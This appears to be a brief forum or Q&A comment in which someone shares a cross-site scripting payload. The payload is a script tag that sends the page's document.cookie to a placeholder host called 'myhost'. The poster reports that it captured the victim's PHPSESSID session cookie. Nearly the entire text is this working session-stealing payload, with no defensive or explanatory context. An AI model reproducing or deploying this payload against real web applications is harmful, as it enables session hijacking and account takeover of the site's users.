This payload
<script>document.location='myhost?cookie='+ document.cookie</script>
gave me the PHPSESSID